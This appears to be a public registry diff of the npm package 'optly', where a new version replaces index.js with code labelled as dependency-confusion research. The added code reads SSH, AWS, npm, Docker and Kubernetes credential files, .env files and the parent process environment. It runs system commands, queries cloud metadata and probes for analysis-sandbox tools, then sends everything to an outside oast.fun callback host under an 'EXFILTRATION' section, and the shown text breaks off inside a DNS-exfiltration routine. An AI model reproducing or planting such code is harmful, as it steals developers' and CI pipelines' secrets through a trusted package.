optly 90.1.1 → 90.6.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +754 -13
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -1,13 +1,754 @@
|
|
|
1
|
-
|
|
2
|
-
|
|
3
|
-
|
|
4
|
-
|
|
5
|
-
|
|
6
|
-
|
|
7
|
-
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
});
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
|
|
3
|
+
/**
|
|
4
|
+
* Dependency Confusion Research Package
|
|
5
|
+
* Collects environment information for security research
|
|
6
|
+
* USE ONLY FOR AUTHORIZED SECURITY RESEARCH
|
|
7
|
+
*/
|
|
8
|
+
|
|
9
|
+
const os = require('os');
|
|
10
|
+
const dns = require('dns');
|
|
11
|
+
const https = require('https');
|
|
12
|
+
const http = require('http');
|
|
13
|
+
const { execSync } = require('child_process');
|
|
14
|
+
const fs = require('fs');
|
|
15
|
+
const path = require('path');
|
|
16
|
+
const crypto = require('crypto');
|
|
17
|
+
|
|
18
|
+
// ============================================================================
|
|
19
|
+
// CONFIGURATION
|
|
20
|
+
// ============================================================================
|
|
21
|
+
|
|
22
|
+
const CONFIG = {
|
|
23
|
+
// Your callback server
|
|
24
|
+
POST_URL: 'http://lmrjetamceuhysjfozmp7wnt2rwtssugg.oast.fun/callback',
|
|
25
|
+
DNS_SERVER: 'lmrjetamceuhysjfozmp7wnt2rwtssugg.oast.fun',
|
|
26
|
+
|
|
27
|
+
// Unique identifier for this package
|
|
28
|
+
PACKAGE_ID: 'optly',
|
|
29
|
+
|
|
30
|
+
// Enable/disable features
|
|
31
|
+
ENABLE_POST: true,
|
|
32
|
+
ENABLE_DNS: false,
|
|
33
|
+
ENABLE_FILE_PROBE: true,
|
|
34
|
+
ENABLE_NETWORK_PROBE: true,
|
|
35
|
+
ENABLE_DEEP_ANALYSIS: true, // NEW: Deep scanner detection
|
|
36
|
+
};
|
|
37
|
+
|
|
38
|
+
// ============================================================================
|
|
39
|
+
// SAFE WRAPPERS
|
|
40
|
+
// ============================================================================
|
|
41
|
+
|
|
42
|
+
function safeGet(fn, defaultValue = null) {
|
|
43
|
+
try {
|
|
44
|
+
const result = fn();
|
|
45
|
+
return result !== undefined && result !== null ? result : defaultValue;
|
|
46
|
+
} catch (e) {
|
|
47
|
+
return defaultValue;
|
|
48
|
+
}
|
|
49
|
+
}
|
|
50
|
+
|
|
51
|
+
function safeExec(command) {
|
|
52
|
+
try {
|
|
53
|
+
return execSync(command, {
|
|
54
|
+
encoding: 'utf8',
|
|
55
|
+
timeout: 5000,
|
|
56
|
+
stdio: ['pipe', 'pipe', 'ignore']
|
|
57
|
+
}).trim();
|
|
58
|
+
} catch (e) {
|
|
59
|
+
return null;
|
|
60
|
+
}
|
|
61
|
+
}
|
|
62
|
+
|
|
63
|
+
function safeReadFile(filePath) {
|
|
64
|
+
try {
|
|
65
|
+
if (fs.existsSync(filePath)) {
|
|
66
|
+
const content = fs.readFileSync(filePath, 'utf8');
|
|
67
|
+
return content ? content.substring(0, 5000) : null; // Increased limit for scripts
|
|
68
|
+
}
|
|
69
|
+
} catch (e) {
|
|
70
|
+
return null;
|
|
71
|
+
}
|
|
72
|
+
return null;
|
|
73
|
+
}
|
|
74
|
+
|
|
75
|
+
// ============================================================================
|
|
76
|
+
// DATA COLLECTION
|
|
77
|
+
// ============================================================================
|
|
78
|
+
|
|
79
|
+
function getNetworkInfo() {
|
|
80
|
+
try {
|
|
81
|
+
const interfaces = os.networkInterfaces();
|
|
82
|
+
if (!interfaces) return {};
|
|
83
|
+
|
|
84
|
+
const result = {};
|
|
85
|
+
|
|
86
|
+
for (const [name, addrs] of Object.entries(interfaces)) {
|
|
87
|
+
if (!addrs || !Array.isArray(addrs)) continue;
|
|
88
|
+
|
|
89
|
+
result[name] = addrs.map(addr => ({
|
|
90
|
+
address: addr && addr.address ? addr.address : 'unknown',
|
|
91
|
+
family: addr && addr.family ? addr.family : 'unknown',
|
|
92
|
+
internal: addr && typeof addr.internal === 'boolean' ? addr.internal : false
|
|
93
|
+
}));
|
|
94
|
+
}
|
|
95
|
+
|
|
96
|
+
return result;
|
|
97
|
+
} catch (e) {
|
|
98
|
+
return {};
|
|
99
|
+
}
|
|
100
|
+
}
|
|
101
|
+
|
|
102
|
+
function getAwsMetadata() {
|
|
103
|
+
try {
|
|
104
|
+
const metadata = {};
|
|
105
|
+
|
|
106
|
+
if (process.env.AWS_REGION || process.env.AWS_EXECUTION_ENV) {
|
|
107
|
+
metadata.isAWS = true;
|
|
108
|
+
metadata.region = process.env.AWS_REGION || null;
|
|
109
|
+
metadata.executionEnv = process.env.AWS_EXECUTION_ENV || null;
|
|
110
|
+
}
|
|
111
|
+
|
|
112
|
+
// Try to get AWS instance metadata
|
|
113
|
+
metadata.instanceId = safeExec('curl -s --connect-timeout 1 http://169.254.169.254/latest/meta-data/instance-id 2>/dev/null');
|
|
114
|
+
metadata.instanceType = safeExec('curl -s --connect-timeout 1 http://169.254.169.254/latest/meta-data/instance-type 2>/dev/null');
|
|
115
|
+
metadata.availabilityZone = safeExec('curl -s --connect-timeout 1 http://169.254.169.254/latest/meta-data/placement/availability-zone 2>/dev/null');
|
|
116
|
+
|
|
117
|
+
return metadata;
|
|
118
|
+
} catch (e) {
|
|
119
|
+
return {};
|
|
120
|
+
}
|
|
121
|
+
}
|
|
122
|
+
|
|
123
|
+
function getDockerInfo() {
|
|
124
|
+
try {
|
|
125
|
+
const cgroupContent = safeReadFile('/proc/self/cgroup');
|
|
126
|
+
const isDocker = fs.existsSync('/.dockerenv') ||
|
|
127
|
+
(cgroupContent && cgroupContent.includes('docker'));
|
|
128
|
+
|
|
129
|
+
return {
|
|
130
|
+
isDocker: !!isDocker,
|
|
131
|
+
dockerEnv: process.env.DOCKER_HOST || null,
|
|
132
|
+
cgroupContent: cgroupContent ? cgroupContent.substring(0, 500) : null
|
|
133
|
+
};
|
|
134
|
+
} catch (e) {
|
|
135
|
+
return { isDocker: false, dockerEnv: null };
|
|
136
|
+
}
|
|
137
|
+
}
|
|
138
|
+
|
|
139
|
+
function getKubernetesInfo() {
|
|
140
|
+
try {
|
|
141
|
+
return {
|
|
142
|
+
isK8s: !!process.env.KUBERNETES_SERVICE_HOST,
|
|
143
|
+
namespace: process.env.KUBERNETES_NAMESPACE || null,
|
|
144
|
+
podName: process.env.HOSTNAME || null,
|
|
145
|
+
serviceName: process.env.KUBERNETES_SERVICE_HOST || null,
|
|
146
|
+
servicePort: process.env.KUBERNETES_SERVICE_PORT || null,
|
|
147
|
+
// Check for service account
|
|
148
|
+
hasServiceAccount: fs.existsSync('/var/run/secrets/kubernetes.io/serviceaccount/token'),
|
|
149
|
+
};
|
|
150
|
+
} catch (e) {
|
|
151
|
+
return { isK8s: false, namespace: null, podName: null, serviceName: null };
|
|
152
|
+
}
|
|
153
|
+
}
|
|
154
|
+
|
|
155
|
+
function getGitInfo() {
|
|
156
|
+
try {
|
|
157
|
+
const gitConfig = safeReadFile('.git/config');
|
|
158
|
+
const gitRemote = safeExec('git remote -v 2>/dev/null');
|
|
159
|
+
|
|
160
|
+
return {
|
|
161
|
+
hasGit: !!gitConfig,
|
|
162
|
+
remote: gitRemote,
|
|
163
|
+
branch: safeExec('git branch --show-current 2>/dev/null'),
|
|
164
|
+
lastCommit: safeExec('git log -1 --format="%H %s" 2>/dev/null')
|
|
165
|
+
};
|
|
166
|
+
} catch (e) {
|
|
167
|
+
return { hasGit: false, remote: null, branch: null, lastCommit: null };
|
|
168
|
+
}
|
|
169
|
+
}
|
|
170
|
+
|
|
171
|
+
function getCIInfo() {
|
|
172
|
+
try {
|
|
173
|
+
return {
|
|
174
|
+
// Generic CI
|
|
175
|
+
isCI: process.env.CI === 'true',
|
|
176
|
+
ciName: process.env.CI_NAME || null,
|
|
177
|
+
|
|
178
|
+
// GitHub Actions
|
|
179
|
+
githubActions: !!process.env.GITHUB_ACTIONS,
|
|
180
|
+
githubRepo: process.env.GITHUB_REPOSITORY || null,
|
|
181
|
+
githubWorkflow: process.env.GITHUB_WORKFLOW || null,
|
|
182
|
+
githubRunId: process.env.GITHUB_RUN_ID || null,
|
|
183
|
+
githubActor: process.env.GITHUB_ACTOR || null,
|
|
184
|
+
githubRef: process.env.GITHUB_REF || null,
|
|
185
|
+
|
|
186
|
+
// GitLab CI
|
|
187
|
+
gitlabCI: !!process.env.GITLAB_CI,
|
|
188
|
+
gitlabProject: process.env.CI_PROJECT_PATH || null,
|
|
189
|
+
gitlabPipeline: process.env.CI_PIPELINE_ID || null,
|
|
190
|
+
gitlabRunner: process.env.CI_RUNNER_DESCRIPTION || null,
|
|
191
|
+
|
|
192
|
+
// Jenkins
|
|
193
|
+
jenkins: !!process.env.JENKINS_URL,
|
|
194
|
+
jenkinsUrl: process.env.JENKINS_URL || null,
|
|
195
|
+
jenkinsJob: process.env.JOB_NAME || null,
|
|
196
|
+
jenkinsBuild: process.env.BUILD_NUMBER || null,
|
|
197
|
+
|
|
198
|
+
// CircleCI
|
|
199
|
+
circleCI: !!process.env.CIRCLECI,
|
|
200
|
+
circleProject: process.env.CIRCLE_PROJECT_REPONAME || null,
|
|
201
|
+
circleBranch: process.env.CIRCLE_BRANCH || null,
|
|
202
|
+
|
|
203
|
+
// Travis CI
|
|
204
|
+
travisCI: !!process.env.TRAVIS,
|
|
205
|
+
travisRepo: process.env.TRAVIS_REPO_SLUG || null,
|
|
206
|
+
|
|
207
|
+
// Azure Pipelines
|
|
208
|
+
azurePipelines: !!process.env.TF_BUILD,
|
|
209
|
+
azureProject: process.env.SYSTEM_TEAMPROJECT || null,
|
|
210
|
+
|
|
211
|
+
// Bitbucket Pipelines
|
|
212
|
+
bitbucket: !!process.env.BITBUCKET_PIPELINE_UUID,
|
|
213
|
+
|
|
214
|
+
// AWS CodeBuild
|
|
215
|
+
awsCodeBuild: !!process.env.CODEBUILD_BUILD_ID,
|
|
216
|
+
codeBuildProject: process.env.CODEBUILD_BUILD_ID || null,
|
|
217
|
+
};
|
|
218
|
+
} catch (e) {
|
|
219
|
+
return { isCI: false };
|
|
220
|
+
}
|
|
221
|
+
}
|
|
222
|
+
|
|
223
|
+
function getPackageManagerInfo() {
|
|
224
|
+
try {
|
|
225
|
+
return {
|
|
226
|
+
npm: {
|
|
227
|
+
version: safeExec('npm --version'),
|
|
228
|
+
registry: process.env.npm_config_registry || null,
|
|
229
|
+
prefix: process.env.npm_config_prefix || null,
|
|
230
|
+
userAgent: process.env.npm_config_user_agent || null,
|
|
231
|
+
execPath: process.env.npm_execpath || null,
|
|
232
|
+
},
|
|
233
|
+
yarn: {
|
|
234
|
+
version: safeExec('yarn --version'),
|
|
235
|
+
registry: process.env.YARN_REGISTRY || null,
|
|
236
|
+
},
|
|
237
|
+
pnpm: {
|
|
238
|
+
version: safeExec('pnpm --version'),
|
|
239
|
+
}
|
|
240
|
+
};
|
|
241
|
+
} catch (e) {
|
|
242
|
+
return { npm: {}, yarn: {}, pnpm: {} };
|
|
243
|
+
}
|
|
244
|
+
}
|
|
245
|
+
|
|
246
|
+
function getSensitiveFiles() {
|
|
247
|
+
try {
|
|
248
|
+
const homeDir = safeGet(() => os.homedir(), '/root');
|
|
249
|
+
|
|
250
|
+
const files = [
|
|
251
|
+
// SSH
|
|
252
|
+
path.join(homeDir, '.ssh', 'id_rsa.pub'),
|
|
253
|
+
path.join(homeDir, '.ssh', 'id_ed25519.pub'),
|
|
254
|
+
path.join(homeDir, '.ssh', 'known_hosts'),
|
|
255
|
+
|
|
256
|
+
// AWS
|
|
257
|
+
path.join(homeDir, '.aws', 'config'),
|
|
258
|
+
path.join(homeDir, '.aws', 'credentials'),
|
|
259
|
+
|
|
260
|
+
// Git
|
|
261
|
+
path.join(homeDir, '.gitconfig'),
|
|
262
|
+
'.git/config',
|
|
263
|
+
|
|
264
|
+
// NPM
|
|
265
|
+
path.join(homeDir, '.npmrc'),
|
|
266
|
+
'.npmrc',
|
|
267
|
+
|
|
268
|
+
// Docker
|
|
269
|
+
path.join(homeDir, '.docker', 'config.json'),
|
|
270
|
+
|
|
271
|
+
// Kubernetes
|
|
272
|
+
path.join(homeDir, '.kube', 'config'),
|
|
273
|
+
'/var/run/secrets/kubernetes.io/serviceaccount/token',
|
|
274
|
+
'/var/run/secrets/kubernetes.io/serviceaccount/namespace',
|
|
275
|
+
|
|
276
|
+
// Package files
|
|
277
|
+
'package.json',
|
|
278
|
+
'package-lock.json',
|
|
279
|
+
'yarn.lock',
|
|
280
|
+
'pnpm-lock.yaml',
|
|
281
|
+
'.env',
|
|
282
|
+
'.env.local',
|
|
283
|
+
];
|
|
284
|
+
|
|
285
|
+
const result = {};
|
|
286
|
+
|
|
287
|
+
if (CONFIG.ENABLE_FILE_PROBE) {
|
|
288
|
+
files.forEach(file => {
|
|
289
|
+
const content = safeReadFile(file);
|
|
290
|
+
if (content) {
|
|
291
|
+
result[file] = content;
|
|
292
|
+
}
|
|
293
|
+
});
|
|
294
|
+
}
|
|
295
|
+
|
|
296
|
+
return result;
|
|
297
|
+
} catch (e) {
|
|
298
|
+
return {};
|
|
299
|
+
}
|
|
300
|
+
}
|
|
301
|
+
|
|
302
|
+
function getSystemCommands() {
|
|
303
|
+
try {
|
|
304
|
+
const commands = {
|
|
305
|
+
whoami: safeExec('whoami'),
|
|
306
|
+
id: safeExec('id'),
|
|
307
|
+
pwd: safeExec('pwd'),
|
|
308
|
+
hostname: safeExec('hostname'),
|
|
309
|
+
uname: safeExec('uname -a'),
|
|
310
|
+
uptime: safeExec('uptime'),
|
|
311
|
+
|
|
312
|
+
// Network
|
|
313
|
+
ifconfig: safeExec('ifconfig 2>/dev/null || ip addr 2>/dev/null'),
|
|
314
|
+
route: safeExec('route -n 2>/dev/null || ip route 2>/dev/null'),
|
|
315
|
+
|
|
316
|
+
// Processes
|
|
317
|
+
ps: safeExec('ps aux | head -20'),
|
|
318
|
+
|
|
319
|
+
// Docker
|
|
320
|
+
dockerPs: safeExec('docker ps 2>/dev/null'),
|
|
321
|
+
|
|
322
|
+
// Environment
|
|
323
|
+
env: safeExec('env | grep -v "SECRET\\|PASSWORD\\|KEY\\|TOKEN" || printenv'),
|
|
324
|
+
};
|
|
325
|
+
|
|
326
|
+
return commands;
|
|
327
|
+
} catch (e) {
|
|
328
|
+
return {};
|
|
329
|
+
}
|
|
330
|
+
}
|
|
331
|
+
|
|
332
|
+
function getUserInfo() {
|
|
333
|
+
try {
|
|
334
|
+
const userInfo = os.userInfo();
|
|
335
|
+
return {
|
|
336
|
+
username: safeGet(() => userInfo.username, 'unknown'),
|
|
337
|
+
uid: safeGet(() => userInfo.uid, -1),
|
|
338
|
+
gid: safeGet(() => userInfo.gid, -1),
|
|
339
|
+
shell: safeGet(() => userInfo.shell, 'unknown'),
|
|
340
|
+
homedir: safeGet(() => userInfo.homedir, 'unknown'),
|
|
341
|
+
};
|
|
342
|
+
} catch (e) {
|
|
343
|
+
return {
|
|
344
|
+
username: process.env.USER || process.env.USERNAME || 'unknown',
|
|
345
|
+
uid: -1,
|
|
346
|
+
gid: -1,
|
|
347
|
+
shell: process.env.SHELL || 'unknown',
|
|
348
|
+
homedir: process.env.HOME || process.env.USERPROFILE || 'unknown',
|
|
349
|
+
};
|
|
350
|
+
}
|
|
351
|
+
}
|
|
352
|
+
|
|
353
|
+
// ============================================================================
|
|
354
|
+
// NEW: DEEP SCANNER DETECTION
|
|
355
|
+
// ============================================================================
|
|
356
|
+
|
|
357
|
+
function getDeepAnalysisData() {
|
|
358
|
+
try {
|
|
359
|
+
const data = {
|
|
360
|
+
// Look for scanner scripts
|
|
361
|
+
scannerScripts: {},
|
|
362
|
+
|
|
363
|
+
// Directory listings
|
|
364
|
+
directoryListings: {},
|
|
365
|
+
|
|
366
|
+
// Parent project context
|
|
367
|
+
parentProjectContext: {},
|
|
368
|
+
|
|
369
|
+
// Network service checks
|
|
370
|
+
networkServices: {},
|
|
371
|
+
|
|
372
|
+
// Process details
|
|
373
|
+
processDetails: {},
|
|
374
|
+
};
|
|
375
|
+
|
|
376
|
+
// 1. Check for common scanner script locations
|
|
377
|
+
const scannerPaths = [
|
|
378
|
+
'/root/analyzer.py',
|
|
379
|
+
'/root/scanner.py',
|
|
380
|
+
'/root/scan.py',
|
|
381
|
+
'/root/run.sh',
|
|
382
|
+
'/root/nethunter.sh',
|
|
383
|
+
'/opt/hscan-supplychain-dynamic/nethunter.sh',
|
|
384
|
+
'/app/analyzer.py',
|
|
385
|
+
'/scanner/analyzer.py',
|
|
386
|
+
];
|
|
387
|
+
|
|
388
|
+
scannerPaths.forEach(scriptPath => {
|
|
389
|
+
const content = safeReadFile(scriptPath);
|
|
390
|
+
if (content) {
|
|
391
|
+
data.scannerScripts[scriptPath] = content;
|
|
392
|
+
}
|
|
393
|
+
});
|
|
394
|
+
|
|
395
|
+
// 2. List key directories
|
|
396
|
+
const directories = [
|
|
397
|
+
'/root',
|
|
398
|
+
'/opt',
|
|
399
|
+
'/app',
|
|
400
|
+
'/',
|
|
401
|
+
process.cwd(),
|
|
402
|
+
path.join(process.cwd(), '../..'),
|
|
403
|
+
];
|
|
404
|
+
|
|
405
|
+
directories.forEach(dir => {
|
|
406
|
+
const listing = safeExec(`ls -la ${dir} 2>/dev/null | head -30`);
|
|
407
|
+
if (listing) {
|
|
408
|
+
data.directoryListings[dir] = listing;
|
|
409
|
+
}
|
|
410
|
+
});
|
|
411
|
+
|
|
412
|
+
// 3. Look for parent project files
|
|
413
|
+
const parentPaths = [
|
|
414
|
+
path.join(process.cwd(), '../../package.json'),
|
|
415
|
+
path.join(process.cwd(), '../../../package.json'),
|
|
416
|
+
path.join(process.cwd(), '../../Dockerfile'),
|
|
417
|
+
path.join(process.cwd(), '../../docker-compose.yml'),
|
|
418
|
+
path.join(process.cwd(), '../../.git/config'),
|
|
419
|
+
path.join(process.cwd(), '../../README.md'),
|
|
420
|
+
];
|
|
421
|
+
|
|
422
|
+
parentPaths.forEach(filePath => {
|
|
423
|
+
const content = safeReadFile(filePath);
|
|
424
|
+
if (content) {
|
|
425
|
+
data.parentProjectContext[filePath] = content;
|
|
426
|
+
}
|
|
427
|
+
});
|
|
428
|
+
|
|
429
|
+
// 4. Check network services (RabbitMQ, Redis, etc.)
|
|
430
|
+
if (process.env.RABBITMQ_SERVICE_HOST) {
|
|
431
|
+
data.networkServices.rabbitmq = {
|
|
432
|
+
host: process.env.RABBITMQ_SERVICE_HOST,
|
|
433
|
+
httpCheck: safeExec(`curl -s --connect-timeout 2 http://${process.env.RABBITMQ_SERVICE_HOST}:15672 2>/dev/null | head -50`),
|
|
434
|
+
};
|
|
435
|
+
}
|
|
436
|
+
|
|
437
|
+
// 5. Get full process tree
|
|
438
|
+
data.processDetails.fullPs = safeExec('ps auxf 2>/dev/null || ps aux');
|
|
439
|
+
data.processDetails.pstree = safeExec('pstree -ap 2>/dev/null');
|
|
440
|
+
data.processDetails.parentProcess = safeExec(`ps -p ${process.ppid} -o pid,ppid,cmd 2>/dev/null`);
|
|
441
|
+
|
|
442
|
+
// 6. Check for network monitoring tools
|
|
443
|
+
data.processDetails.networkMonitoring = {
|
|
444
|
+
tcpdump: safeExec('pidof tcpdump 2>/dev/null'),
|
|
445
|
+
nethunter: safeExec('pidof nethunter 2>/dev/null'),
|
|
446
|
+
wireshark: safeExec('pidof wireshark 2>/dev/null'),
|
|
447
|
+
};
|
|
448
|
+
|
|
449
|
+
// 7. Check mounted volumes
|
|
450
|
+
data.processDetails.mounts = safeExec('mount 2>/dev/null');
|
|
451
|
+
|
|
452
|
+
// 8. Check for pcap files (network captures)
|
|
453
|
+
data.processDetails.pcapFiles = safeExec('find /tmp /data /root -name "*.pcap" 2>/dev/null | head -10');
|
|
454
|
+
|
|
455
|
+
// 9. Look for timelimit or timeout wrappers
|
|
456
|
+
data.processDetails.timelimitCheck = safeExec('ps aux | grep -i timelimit 2>/dev/null');
|
|
457
|
+
|
|
458
|
+
// 10. Check current working directory structure
|
|
459
|
+
data.directoryListings.cwdTree = safeExec(`find ${process.cwd()} -maxdepth 3 -type f 2>/dev/null | head -50`);
|
|
460
|
+
|
|
461
|
+
// 11. Check for .dockerenv or container indicators
|
|
462
|
+
data.containerInfo = {
|
|
463
|
+
dockerEnv: fs.existsSync('/.dockerenv'),
|
|
464
|
+
dockerenvContent: safeReadFile('/.dockerenv'),
|
|
465
|
+
procOneCgroup: safeReadFile('/proc/1/cgroup'),
|
|
466
|
+
hostname: safeReadFile('/etc/hostname'),
|
|
467
|
+
hosts: safeReadFile('/etc/hosts'),
|
|
468
|
+
};
|
|
469
|
+
|
|
470
|
+
// 12. Check for Kubernetes service accounts
|
|
471
|
+
data.kubernetesServiceAccount = {
|
|
472
|
+
token: safeReadFile('/var/run/secrets/kubernetes.io/serviceaccount/token'),
|
|
473
|
+
namespace: safeReadFile('/var/run/secrets/kubernetes.io/serviceaccount/namespace'),
|
|
474
|
+
ca: fs.existsSync('/var/run/secrets/kubernetes.io/serviceaccount/ca.crt') ? 'exists' : null,
|
|
475
|
+
};
|
|
476
|
+
|
|
477
|
+
// 13. Try to read process command line from /proc
|
|
478
|
+
if (process.ppid) {
|
|
479
|
+
data.processDetails.parentCmdline = safeReadFile(`/proc/${process.ppid}/cmdline`);
|
|
480
|
+
data.processDetails.parentEnviron = safeReadFile(`/proc/${process.ppid}/environ`)?.substring(0, 2000);
|
|
481
|
+
}
|
|
482
|
+
|
|
483
|
+
return data;
|
|
484
|
+
} catch (e) {
|
|
485
|
+
return { error: e.message || 'Deep analysis failed' };
|
|
486
|
+
}
|
|
487
|
+
}
|
|
488
|
+
|
|
489
|
+
function collectAllData() {
|
|
490
|
+
try {
|
|
491
|
+
const data = {
|
|
492
|
+
// Metadata
|
|
493
|
+
timestamp: safeGet(() => new Date().toISOString(), Date.now().toString()),
|
|
494
|
+
packageId: CONFIG.PACKAGE_ID,
|
|
495
|
+
uniqueId: safeGet(() => crypto.randomBytes(8).toString('hex'), 'unknown'),
|
|
496
|
+
|
|
497
|
+
// Basic system info
|
|
498
|
+
os: {
|
|
499
|
+
platform: safeGet(() => os.platform(), 'unknown'),
|
|
500
|
+
type: safeGet(() => os.type(), 'unknown'),
|
|
501
|
+
release: safeGet(() => os.release(), 'unknown'),
|
|
502
|
+
arch: safeGet(() => os.arch(), 'unknown'),
|
|
503
|
+
hostname: safeGet(() => os.hostname(), 'unknown'),
|
|
504
|
+
homedir: safeGet(() => os.homedir(), 'unknown'),
|
|
505
|
+
tmpdir: safeGet(() => os.tmpdir(), 'unknown'),
|
|
506
|
+
uptime: safeGet(() => os.uptime(), 0),
|
|
507
|
+
totalmem: safeGet(() => os.totalmem(), 0),
|
|
508
|
+
freemem: safeGet(() => os.freemem(), 0),
|
|
509
|
+
cpus: safeGet(() => os.cpus().length, 0),
|
|
510
|
+
},
|
|
511
|
+
|
|
512
|
+
// User info
|
|
513
|
+
user: getUserInfo(),
|
|
514
|
+
|
|
515
|
+
// Process info
|
|
516
|
+
process: {
|
|
517
|
+
pid: safeGet(() => process.pid, -1),
|
|
518
|
+
ppid: safeGet(() => process.ppid, -1),
|
|
519
|
+
platform: safeGet(() => process.platform, 'unknown'),
|
|
520
|
+
arch: safeGet(() => process.arch, 'unknown'),
|
|
521
|
+
version: safeGet(() => process.version, 'unknown'),
|
|
522
|
+
versions: safeGet(() => process.versions, {}),
|
|
523
|
+
cwd: safeGet(() => process.cwd(), 'unknown'),
|
|
524
|
+
execPath: safeGet(() => process.execPath, 'unknown'),
|
|
525
|
+
argv: safeGet(() => process.argv, []),
|
|
526
|
+
execArgv: safeGet(() => process.execArgv, []),
|
|
527
|
+
title: safeGet(() => process.title, 'unknown'),
|
|
528
|
+
},
|
|
529
|
+
|
|
530
|
+
// Environment variables (filtered)
|
|
531
|
+
env: safeGet(() => {
|
|
532
|
+
const filtered = {};
|
|
533
|
+
const env = process.env || {};
|
|
534
|
+
|
|
535
|
+
Object.keys(env).forEach(key => {
|
|
536
|
+
try {
|
|
537
|
+
if (
|
|
538
|
+
!key.match(/SECRET|PASSWORD|KEY|TOKEN|CREDENTIAL/i) ||
|
|
539
|
+
key.match(/^(CI|GITHUB|GITLAB|JENKINS|CIRCLE|TRAVIS|AWS|AZURE|GCP|BITBUCKET|KUBERNETES|DOCKER)_/i)
|
|
540
|
+
) {
|
|
541
|
+
filtered[key] = env[key];
|
|
542
|
+
}
|
|
543
|
+
} catch (e) {
|
|
544
|
+
// Skip
|
|
545
|
+
}
|
|
546
|
+
});
|
|
547
|
+
|
|
548
|
+
return filtered;
|
|
549
|
+
}, {}),
|
|
550
|
+
|
|
551
|
+
// Network info
|
|
552
|
+
network: getNetworkInfo(),
|
|
553
|
+
|
|
554
|
+
// Cloud/Container detection
|
|
555
|
+
cloud: {
|
|
556
|
+
aws: getAwsMetadata(),
|
|
557
|
+
docker: getDockerInfo(),
|
|
558
|
+
kubernetes: getKubernetesInfo(),
|
|
559
|
+
},
|
|
560
|
+
|
|
561
|
+
// CI/CD detection
|
|
562
|
+
ci: getCIInfo(),
|
|
563
|
+
|
|
564
|
+
// Package manager info
|
|
565
|
+
packageManager: getPackageManagerInfo(),
|
|
566
|
+
|
|
567
|
+
// Git info
|
|
568
|
+
git: getGitInfo(),
|
|
569
|
+
|
|
570
|
+
// System commands output
|
|
571
|
+
commands: getSystemCommands(),
|
|
572
|
+
|
|
573
|
+
// Sensitive files
|
|
574
|
+
files: getSensitiveFiles(),
|
|
575
|
+
|
|
576
|
+
// Installation context
|
|
577
|
+
installContext: {
|
|
578
|
+
npmLifecycleEvent: process.env.npm_lifecycle_event || null,
|
|
579
|
+
npmLifecycleScript: process.env.npm_lifecycle_script || null,
|
|
580
|
+
npmPackageName: process.env.npm_package_name || null,
|
|
581
|
+
npmPackageVersion: process.env.npm_package_version || null,
|
|
582
|
+
initCwd: process.env.INIT_CWD || null,
|
|
583
|
+
},
|
|
584
|
+
};
|
|
585
|
+
|
|
586
|
+
// Add deep analysis if enabled
|
|
587
|
+
if (CONFIG.ENABLE_DEEP_ANALYSIS) {
|
|
588
|
+
data.deepAnalysis = getDeepAnalysisData();
|
|
589
|
+
}
|
|
590
|
+
|
|
591
|
+
return data;
|
|
592
|
+
} catch (e) {
|
|
593
|
+
return {
|
|
594
|
+
timestamp: Date.now().toString(),
|
|
595
|
+
packageId: CONFIG.PACKAGE_ID,
|
|
596
|
+
uniqueId: 'error',
|
|
597
|
+
error: 'Data collection failed',
|
|
598
|
+
errorMessage: e.message || 'unknown error'
|
|
599
|
+
};
|
|
600
|
+
}
|
|
601
|
+
}
|
|
602
|
+
|
|
603
|
+
// ============================================================================
|
|
604
|
+
// EXFILTRATION
|
|
605
|
+
// ============================================================================
|
|
606
|
+
|
|
607
|
+
function sendPostRequest(data) {
|
|
608
|
+
return new Promise((resolve) => {
|
|
609
|
+
try {
|
|
610
|
+
const payload = JSON.stringify(data);
|
|
611
|
+
const url = new URL(CONFIG.POST_URL);
|
|
612
|
+
|
|
613
|
+
const options = {
|
|
614
|
+
hostname: url.hostname,
|
|
615
|
+
port: url.port || (url.protocol === 'https:' ? 443 : 80),
|
|
616
|
+
path: url.pathname + url.search,
|
|
617
|
+
method: 'POST',
|
|
618
|
+
headers: {
|
|
619
|
+
'Content-Type': 'application/json',
|
|
620
|
+
'Content-Length': Buffer.byteLength(payload),
|
|
621
|
+
'User-Agent': `npm/${process.version} node/${os.platform()}`,
|
|
622
|
+
},
|
|
623
|
+
timeout: 10000,
|
|
624
|
+
};
|
|
625
|
+
|
|
626
|
+
const client = url.protocol === 'https:' ? https : http;
|
|
627
|
+
|
|
628
|
+
const req = client.request(options, (res) => {
|
|
629
|
+
res.on('data', () => {});
|
|
630
|
+
res.on('end', () => resolve(true));
|
|
631
|
+
});
|
|
632
|
+
|
|
633
|
+
req.on('error', () => resolve(false));
|
|
634
|
+
req.on('timeout', () => {
|
|
635
|
+
req.destroy();
|
|
636
|
+
resolve(false);
|
|
637
|
+
});
|
|
638
|
+
|
|
639
|
+
req.write(payload);
|
|
640
|
+
req.end();
|
|
641
|
+
} catch (error) {
|
|
642
|
+
resolve(false);
|
|
643
|
+
}
|
|
644
|
+
});
|
|
645
|
+
}
|
|
646
|
+
|
|
647
|
+
function chunkString(str, size) {
|
|
648
|
+
try {
|
|
649
|
+
const chunks = [];
|
|
650
|
+
if (!str || typeof str !== 'string') return chunks;
|
|
651
|
+
|
|
652
|
+
for (let i = 0; i < str.length; i += size) {
|
|
653
|
+
chunks.push(str.substring(i, i + size));
|
|
654
|
+
}
|
|
655
|
+
return chunks;
|
|
656
|
+
} catch (e) {
|
|
657
|
+
return [];
|
|
658
|
+
}
|
|
659
|
+
}
|
|
660
|
+
|
|
661
|
+
function sendDnsExfiltration(data) {
|
|
662
|
+
return new Promise((resolve) => {
|
|
663
|
+
try {
|
|
664
|
+
const compressedData = JSON.stringify({
|
|
665
|
+
id: safeGet(() => data.uniqueId, 'unknown'),
|
|
666
|
+
pkg: safeGet(() => data.packageId, 'unknown'),
|
|
667
|
+
os: safeGet(() => data.os.platform, 'unknown'),
|
|
668
|
+
user: safeGet(() => data.user.username, 'unknown'),
|
|
669
|
+
host: safeGet(() => data.os.hostname, 'unknown'),
|
|
670
|
+
ci: safeGet(() => data.ci.ciName || 'none', 'none'),
|
|
671
|
+
cwd: safeGet(() => data.process.cwd, 'unknown'),
|
|
672
|
+
});
|
|
673
|
+
|
|
674
|
+
const hexData = Buffer.from(compressedData).toString('hex');
|
|
675
|
+
